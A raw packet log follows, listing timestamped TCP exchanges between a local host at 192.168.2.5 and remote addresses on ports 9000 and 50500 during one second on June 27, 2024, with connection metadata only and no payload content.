Jun 27, 2024 06:44:39.470753908 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.476402998 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.476461887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.476468086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.476521969 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.476538897 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.476583004 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.476591110 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.476638079 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.476658106 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.476691961 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.476702929 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.476723909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.476743937 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.476758957 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.476779938 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.476804018 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.477606058 CEST	49755	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:39.481162071 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481183052 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481198072 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481223106 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481225014 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481237888 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481252909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481266975 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481272936 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481290102 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481295109 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481317043 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481343985 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481487036 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481511116 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481524944 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481564045 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481590986 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481621027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481659889 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481659889 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481677055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481697083 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481714010 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481715918 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481733084 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.481751919 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.481767893 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.482491016 CEST	50500	49755	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:39.511636019 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511652946 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511667967 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511687040 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.511691093 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511708975 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.511714935 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511729956 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511746883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511748075 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.511785030 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.511807919 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.511826038 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511868000 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.511879921 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511894941 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511924028 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511933088 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.511940002 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511955976 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511970997 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.511972904 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.511986017 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512002945 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512025118 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512415886 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512430906 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512451887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512465954 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512506962 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512521982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512537003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512586117 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512598991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512613058 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512628078 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512641907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512650013 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512650013 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512650013 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512650013 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512650013 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512650013 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512656927 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512684107 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512701988 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.512921095 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512933969 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512959003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512974024 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512988091 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.512988091 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.513015985 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.513027906 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.513175011 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.513190985 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.513228893 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.513242960 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.513251066 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.513257027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.513274908 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.513293982 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.518212080 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.518235922 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.518249035 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.518284082 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.518291950 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.518307924 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.518307924 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.518336058 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.518366098 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.518368959 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.518381119 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.518395901 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.518404961 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.518443108 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.534904003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.534950972 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.534951925 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.534965038 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.535017014 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.535020113 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.535032034 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.535047054 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.535058975 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.535063982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.535094023 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.535109043 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.535273075 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.535325050 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538465977 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538520098 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538603067 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538633108 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538656950 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538665056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538696051 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538698912 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538722038 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538749933 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538755894 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538803101 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538817883 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538836002 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538855076 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538871050 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538889885 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538898945 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538914919 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.538924932 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538938046 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.538970947 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.539062977 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.539077044 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.539093018 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.539103985 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.539107084 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.539127111 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.539156914 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.542989016 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543039083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543066978 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543072939 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543085098 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543107986 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543113947 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543142080 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543160915 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543186903 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543214083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543246031 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543266058 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543304920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543311119 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543334007 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543354034 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543369055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543396950 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543402910 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543416023 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543452978 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543467045 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543482065 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543494940 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.543512106 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.543546915 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.548296928 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.548324108 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.548341036 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.548351049 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.548357010 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.548388958 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.548410892 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.548418999 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.548427105 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.548451900 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.548464060 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.548516989 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.548516989 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.559195042 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.559247017 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.559247971 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.559287071 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.559312105 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.559320927 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.559333086 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.559355021 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.559360027 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.559391022 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.559407949 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.559422970 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.559446096 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.559453964 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.559480906 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.559509993 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.565212965 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.565269947 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.565279961 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.565323114 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.565356016 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.565375090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.565390110 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.565408945 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.565423012 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.565435886 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.565457106 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.565468073 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.565490007 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.565504074 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.565538883 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.569993019 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570050955 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570101976 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570123911 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.570154905 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.570154905 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570204973 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570216894 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.570239067 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570255041 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.570287943 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570288897 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.570321083 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570326090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.570354939 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570386887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570394039 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.570420027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570467949 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570475101 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.570482969 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570498943 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.570522070 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.570537090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.600255966 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600282907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600296021 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600315094 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.600333929 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.600358963 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600373983 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600389957 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600404978 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.600429058 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.600611925 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600626945 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600739002 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.600761890 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600776911 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600812912 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.600888968 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600903988 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.600943089 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601222992 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601238012 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601260900 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601273060 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601286888 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601301908 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601309061 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601316929 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601336956 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601340055 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601355076 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601387024 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601427078 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601440907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601454973 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601469040 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601476908 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601492882 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601495981 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601505041 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601515055 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601526976 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601528883 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601545095 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601552010 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601560116 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601574898 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601577044 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601591110 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601596117 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601607084 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.601622105 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.601660967 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.602205992 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.602221012 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.602233887 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.602248907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.602252007 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.602283001 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.607126951 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.607161999 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.607176065 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.607178926 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.607224941 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.607268095 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.607281923 CEST	9000	49757	49.13.33.235	192.168.2.5
